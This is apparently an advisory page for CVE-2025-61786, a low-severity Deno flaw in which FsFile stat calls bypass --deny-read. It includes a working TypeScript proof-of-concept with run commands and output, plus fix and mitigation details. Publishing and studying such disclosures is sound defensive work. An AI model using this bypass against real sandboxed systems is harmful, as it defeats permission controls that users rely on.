CVE-2025-61786 is a low-severity (CVSS 3.3) Improper Privilege Management vulnerability in deno. A fix is available for deno — see the affected versions and patch details below.
Deno's --deny-read check does not prevent permission bypass
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-61786.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)
Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test1.txt
poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
Impact
Permission model bypass
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | all versions | 2.5.3cargo update -p deno --precise 2.5.3 |
Affected Products
denodenoDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deno to 2.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-61786 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2025-61786 in your dependencies?
Find it across crates.io, including transitive dependencies.